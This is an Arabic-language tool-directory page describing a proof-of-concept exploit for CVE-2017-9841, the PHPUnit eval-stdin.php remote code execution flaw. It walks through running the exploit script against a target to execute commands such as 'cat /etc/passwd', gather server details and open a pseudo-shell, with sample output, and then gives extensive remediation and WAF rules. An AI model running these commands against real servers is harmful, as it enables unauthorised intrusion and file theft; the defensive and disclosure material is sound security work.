Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2017-9841-PHPUnit-Remote-Code-Execution-PoC — الثغرة CVE-2017-9841 هي ثغرة تنفيذ التعليمات البرمجية عن بُعد (RCE) في مكتبة PHPUnit، وتؤثر على الإصدارات السابقة للإصدار 5.6.3 وإصدارات 6.x السابقة للإصدار 6.4.2. | Kitploit
أدوات/GitHubGitHub/krisdewa/cve-2017-9841-phpunit-remote-code-execution-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمتطوير الحمولات
GitHubkrisdewa/cve-2017-9841-phpunit-remote-code-execution-poc

CVE-2017-9841-PHPUnit-Remote-Code-Execution-PoC

الثغرة CVE-2017-9841 هي ثغرة تنفيذ التعليمات البرمجية عن بُعد (RCE) في مكتبة PHPUnit، وتؤثر على الإصدارات السابقة للإصدار 5.6.3 وإصدارات 6.x السابقة للإصدار 6.4.2.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
منذ 2 أشهرلم تتم المراجعة بعد

CVE-2017-9841 — إثبات مفهوم (PoC) لتنفيذ التعليمات البرمجية عن بُعد (RCE) في PHPUnit

⚠️ إخلاء مسؤولية: هذه الأداة مخصصة للأغراض التعليمية واختبارات الأمان المصرح بها فقط. الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها غير قانوني. لا يتحمل المؤلف أي مسؤولية عن أي إساءة استخدام لهذه الأداة.


نظرة عامة

CVE-2017-9841 هي ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) في مكتبة PHPUnit، وتؤثر على الإصدارات السابقة لـ 5.6.3 وجميع إصدارات 6.x السابقة لـ 6.4.2.

توجد الثغرة في src/Util/PHP/eval-stdin.php، الذي ينفّذ كود PHP المستلم عبر php://input (جسم طلب POST) باستخدام دالة eval(). إذا كان هذا الملف متاحًا للجمهور (على سبيل المثال، داخل مجلد vendor/ غير محمي)، يمكن للمهاجم تنفيذ كود PHP تعسفي على الخادم دون الحاجة إلى مصادقة.

تفاصيل الثغرة

الكود القابل للاستغلال

root@kitploit:~
// vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
eval('?>' . file_get_contents('php://input'));

يقبل هذا الملف كود PHP من جسم طلب POST وينفّذه فورًا باستخدام eval() دون أي مصادقة أو تحقق.


التثبيت

المتطلبات

  • Python 3.6+
  • مكتبة requests
root@kitploit:~
pip install requests

الإعداد

root@kitploit:~
git clone <repo-url>
cd CVE-2017-9841
chmod +x poc_cve-2017-9841.py

الاستخدام

الصيغة الأساسية

root@kitploit:~
python3 poc_cve-2017-9841.py -u <URL> [options]

يقبل الخيار -u كلاً من عنوان URL الأساسي (يضيف المسار القابل للاستغلال تلقائيًا) أو عنوان URL كامل يشير مباشرة إلى eval-stdin.php.

1. فحص الثغرة (بدون تنفيذ أوامر)

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' --check

المخرجات:

root@kitploit:~
[*] Target : https://target.com
[*] Endpoint: https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

[*] Checking vulnerability on: ...
[+] File accessible (HTTP 200)
[+] VULNERABLE! Code execution confirmed.
[+] Response: VULN_CHECK_OK_2017_9841

2. تنفيذ الأوامر

root@kitploit:~
# Single command
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'whoami'

# Multiple commands
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'id && hostname && uname -a'

# Read a file
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd'

# Save output to file
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd' -o result.txt

3. معلومات الخادم (للقراءة فقط)

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' --info

المخرجات:

root@kitploit:~
=== SERVER INFORMATION ===
PHP Version : 8.x.x
OS          : Linux
SAPI        : fpm-fcgi
User        : www-data
Hostname    : web-server-01
Server IP   : 192.168.1.100
CWD         : /var/www/html/app/vendor/phpunit/phpunit/src/Util/PHP
Doc Root    : /var/www/html/
Server SW   : Apache
Memory Limit: 256M
Max Exec    : 30s
Open Basedir: (none)
Disabled Fn : (none)

=== DANGEROUS FUNCTIONS ===
  system: YES
  exec: YES
  passthru: YES
  shell_exec: YES
  proc_open: YES
  popen: YES
  curl_exec: YES

4. قشرة شبه تفاعلية

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' --shell

المخرجات:

root@kitploit:~
[*] Pseudo-shell (type 'exit' or 'quit' to leave)
--------------------------------------------------
www-data@web-server-01$ whoami
www-data
www-data@web-server-01$ ls -la /var/www/html/
total 12
drwxr-xr-x 4 www-data www-data 4096 Jun 11 00:00 .
drwxr-xr-x 3 root     root     4096 Jan 01 00:00 ..
drwxr-xr-x 8 www-data www-data 4096 Jun 11 00:00 app
www-data@web-server-01$ exit
[*] Exiting shell.

5. العثور التلقائي على المسار القابل للاستغلال

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' --find-path

6. مسار مخصص

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' \
  --path '/custom/path/eval-stdin.php' -c 'whoami'

7. عنوان URL كامل إلى eval-stdin.php

root@kitploit:~
python3 poc_cve-2017-9841.py \
  -u 'https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php' \
  -c 'whoami'

8. تنفيذ كود PHP خام

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' \
  --php '<?php phpinfo(); ?>'

مرجع الخيارات


المعالجة

إجراءات فورية (افعل ذلك الآن)

1. احذف الملف القابل للاستغلال

root@kitploit:~
sudo rm /path/to/project/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

2. احظر الوصول إلى مجلد vendor

أضف ملف .htaccess داخل مجلد vendor/:

root@kitploit:~
# /path/to/project/vendor/.htaccess
Deny from all

أو قم بضبطه في Apache VirtualHost:

root@kitploit:~
<Directory "/path/to/project/vendor">
    Require all denied
</Directory>

بالنسبة إلى Nginx:

root@kitploit:~
location /vendor/ {
    deny all;
    return 403;
}

3. أزل اعتماديات التطوير من بيئة الإنتاج

root@kitploit:~
cd /path/to/project
composer install --no-dev --optimize-autoloader

تحصين قصير المدى

4. فعّل disable_functions في php.ini

root@kitploit:~
; /etc/php/8.4/fpm/php.ini
disable_functions = system,exec,passthru,shell_exec,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

5. فعّل open_basedir

root@kitploit:~
; /etc/php/8.4/fpm/php.ini or in VirtualHost
open_basedir = /var/www/html/project:/tmp

6. قلّل max_execution_time

root@kitploit:~
max_execution_time = 30

7. أعد تشغيل PHP-FPM

root@kitploit:~
sudo systemctl restart php8.4-fpm
# or
sudo systemctl restart php-fpm

تحصين طويل المدى

8. قم بترقية PHPUnit

root@kitploit:~
composer require --dev phpunit/phpunit:^10.0
composer update phpunit/phpunit

9. طبّق قواعد WAF

مثال على ModSecurity:

root@kitploit:~
SecRule REQUEST_URI "eval-stdin\.php" \
    "id:1000001,phase:1,deny,status:403,msg:'CVE-2017-9841 Block'"

SecRule REQUEST_URI "/vendor/" \
    "id:1000002,phase:1,deny,status:403,msg:'Block vendor directory access'"

10. تحصين خط أنابيب CI/CD

root@kitploit:~
# Example: GitHub Actions
- name: Install production dependencies only
  run: composer install --no-dev --optimize-autoloader

- name: Remove test files and vulnerable scripts
  run: |
    rm -rf vendor/phpunit
    rm -rf vendor/mockery
    rm -rf tests/
    find vendor -name "eval-stdin.php" -delete

مخطط تدفق الهجوم

root@kitploit:~
                    ┌──────────────────────────────┐
                    │          Attacker            │
                    └──────────────┬───────────────┘
                                   │ POST (PHP code)
                                   ▼
┌─────────────────────────────────────────────────────────────┐
│                        Apache Server                        │
│  ┌───────────────────────────────────────────────────────┐  │
│  │  /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php  │  │
│  │                                                       │  │
│  │  eval('?>' . file_get_contents('php://input'));       │  │
│  │           ▲                                           │  │
│  └───────────┼───────────────────────────────────────────┘  │
│              │                                              │
│              ▼                                              │
│  ┌───────────────────────────────────────────────────────┐  │
│  │            Arbitrary Code Execution                   │  │
│  │                                                       │  │
│  │  - Read/Write files on the server                     │  │
│  │  - Access database credentials                        │  │
│  │  - Lateral movement to internal network               │  │
│  │  - Install backdoors / webshells                      │  │
│  │  - Privilege escalation                               │  │
│  └───────────────────────────────────────────────────────┘  │
└─────────────────────────────────────────────────────────────┘

العوامل المفاقمة

تزيد الحالات التالية بشكل كبير من شدة هذه الثغرة وقابليتها للاستغلال:


المراجع

  • NVD - CVE-2017-9841
  • PHPUnit GitHub Issue #2728
  • Exploit-DB #43340
  • MITRE CVE

الترخيص

تم توفير هذه الأداة للأغراض التعليمية واختبارات الأمان المصرح بها فقط.

تنزيل الأداة
الحقلالقيمة
معرف CVECVE-2017-9841
درجة CVSS9.8 (حرجة)
المتأثرPHPUnit < 5.6.3, 6.x < 6.4.2
النوعتنفيذ التعليمات البرمجية عن بُعد (RCE)
المصادقةغير مطلوبة
ناقل الهجومالشبكة (عن بُعد)
تاريخ النشر27 يونيو 2017
المرجعNVD
الخيارالوصف
-u, --url URLعنوان URL أساسي للهدف أو عنوان URL كامل إلى eval-stdin.php
-c, --cmd CMDأمر CLI لتنفيذه على الخادم الهدف
--checkالتحقق مما إذا كان الهدف قابلاً للاستغلال دون تنفيذ أوامر
--shellفتح قشرة شبه تفاعلية
--infoجمع معلومات الخادم (للقراءة فقط)
--find-pathفحص المسارات الشائعة لتحديد موقع eval-stdin.php
--path PATHتحديد مسار مخصص إلى eval-stdin.php
--timeout Nمهلة الطلب بالثواني (الافتراضي: 30)
-o, --output FILEحفظ مخرجات الأمر في ملف
--php CODEتنفيذ كود PHP خام بدلاً من أوامر النظام
العاملالتأثير
disable_functions فارغجميع دوال PHP متاحة (system, exec, ...إلخ)
open_basedir غير مضبوطيمكن للمهاجم قراءة/كتابة الملفات عبر نظام الملفات بالكامل
max_execution_time مرتفعيحصل المهاجم على مزيد من الوقت لكل طلب لتنفيذ حمولات معقدة
امتداد FFI محمّليتيح استدعاءات مباشرة لدوال C، متجاوزًا قيود PHP
امتدادات قاعدة البيانات محمّلةإمكانية اتصالات مباشرة بقاعدة البيانات (mysqli, pgsql, ...إلخ)
عدم نشر WAFلا يوجد تصفية أو حظر للطلبات
عدم وجود IDS/IPSلا يوجد كشف للشذوذ أو تنبيه
اعتماديات التطوير في بيئة الإنتاجتوسّع سطح الهجوم دون داعٍ